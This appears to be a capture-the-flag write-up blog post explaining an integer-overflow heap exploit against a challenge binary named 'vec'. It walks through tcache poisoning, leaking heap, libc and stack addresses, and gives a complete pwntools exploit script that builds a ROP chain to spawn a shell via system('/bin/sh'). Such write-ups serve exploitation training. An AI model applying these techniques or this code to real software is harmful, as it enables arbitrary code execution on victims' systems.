The vulnerability is in this part, we can bypass the if statement by integer overflow. Therefore, we are able to achieve out-of-bounds writing in the heap area.

Step 1, leak the heap address. The vector of template class will allocate for twice the current memory size when the current memory is not enough. In the first two times, it will ask for 8 bytes and 16 bytes of memory from the heap allocator, which will return a chunk of size 0x20(In the following text, we refer to them as chunk a and chunk b). Then, when it allocate memory for the third time, it will get a chunk of size 0x30(chunk c) and the two previous chunk will be freed into the tcachebins(0x20). Now we can use chunk c to read and write the data in chunk a and chunk b. At this step, we can leak the heap address and hijack the fd pointer of chunk b to the victim chunk d(will be introduced in the following). For the convenience of next exploitation, we also need to modify their size to prevent them from being placed on the tcachebins(0x20) or tcachebins(0x30).

Step 2, leak the libc address. Repeatedly calling the vector’s emplace_back function until it can allocate for an unsorted chunk(chunk d). Then put chunk d into unsortedbin and calling the vector’s clear function. At this point, when the vector tries to allocate memory next time, it will ask for 8 bytes of memory just like the beginning. Because the fd pointer of chunk a has been hijacked, so we will get chunk d when the vector allocates memory for the second time. After that, we can exploit the vulnerability again to leak the libc address on chunk d.

Step 3, leak the stack address. After the first two steps, this step will appear relatively simple. We just need to call the vector’s clear function and return to the first step situation. Allocate for two chunks of size 0x20(chunk e and chunk f) .Then hijack the fd pointer of chunk f to the address of environ(a variable on libc that stores stack address). Calling the vector’s clear function again and we can get a fake chunk which points to environ at the next two allocations of vector. And then we can leak the stack address on the environ variable.

Step 4, hijack the execution flow of the program. Reuse the process from step 3 and allocate the stack address which stores the retaddress of main function. Finally, building our ROP chain on the stack to hijack the flow of execution to system(“/bin/sh”).

PS

  • We should make sure that the size of fake chunk is valid because the destructor of vector will be called before the main function returns.
  • The fake chunk address should be near the target address (above or below) because we will pollute the data on the target address when exploiting the vulnerability, which can lead to unexpected errors.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python2
from pwn import *

io = process('./vec')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
heap_os = lambda x : heap_base + x

def menu(choice):
sla('>> ', str(choice))

def add(idx, val):
menu(1)
sla('index: ', str(idx))
sla('value: ', str(val))

def show(idx):
menu(2)
sla('index: ', str(idx))

def copy(src, dest, count):
menu(3)
sla('from: ', str(src))
sla('to: ', str(dest))
sla('count: ', str(count))

def clear():
menu(4)

for i in range(3):
add(i, i + 1)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
show(0)
ru('] = ')
key = int(ru('\n'))
heap_base = (key << 12) - 0x11000
copy(3, 1, 0xffffffffffffffff)
add(1, 0x411)
copy(3, 1, 0xffffffffffffffff)
victim = heap_os(0x5623ffdbb720 - 0x5623ffda9000)
add(0, victim - 0x20 ^ key)
copy(3, 1, 0xffffffffffffffff)
add(1, 0x131)
copy(3, 1, 0xffffffffffffffff)

for i in range(300):
add(i, i + 1)
clear()
for i in range(2):
add(i, i + 1)
for _ in range(6):
copy(2, 1, 0xffffffffffffffff)
show(1)
ru('] = ')
libc_base = (int(ru('\n'))) - (0x7f6339c2cce0 - 0x7f6339a13000)
sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
environ = libc_base + libc.sym['environ']
for _ in range(6):
add(1, 0xe8e1)
copy(1, 2, 0xffffffffffffffff)
add(0, 0x71)
copy(2, 1, 0xffffffffffffffff)
clear()

for i in range(3):
add(i, i + 1)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
key += 1
copy(3, 1, 0xffffffffffffffff)
add(1, 0x411)
copy(3, 1, 0xffffffffffffffff)
add(0, (environ-0x10) ^ key)
copy(3, 1, 0xffffffffffffffff)
add(1, 0x131)
copy(3, 1, 0xffffffffffffffff)
clear()

for i in range(2):
add(i, i + 1)
copy(2, 1, 0xffffffffffffffff)
show(1)
ru('] = ')
retaddr = (int(ru('\n'))) - 0x120
add(0, 0x281)
copy(2, 1, 0xffffffffffffffff)
clear()

for i in range(3):
add(i, i + 1)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(1, 3, 0xffffffffffffffff)
copy(3, 1, 0xffffffffffffffff)
add(1, 0x411)
copy(3, 1, 0xffffffffffffffff)
add(0, (retaddr+0x58) ^ key)
copy(3, 1, 0xffffffffffffffff)
add(1, 0x131)
copy(3, 1, 0xffffffffffffffff)
clear()

pop_rdi = libc_os(0x000000000002a3e5)
ret = libc_os(0x00000000000f872e)
for i in range(2):
add(i, i + 1)
add(0, ret)
copy(2, 1, 0xffffffffffffffff)
add(0, pop_rdi)
copy(2, 1, 0xffffffffffffffff)
add(0, binsh_addr)
copy(2, 1, 0xffffffffffffffff)
add(0, sys_addr)
copy(2, 1, 0xffffffffffffffff)
for _ in range(7):
add(0, 0x101)
copy(2, 1, 0xffffffffffffffff)
menu(5)
ia()

This is my first time writing a blog in English, so there might be some parts that are not very fluent to read. Please bear with me.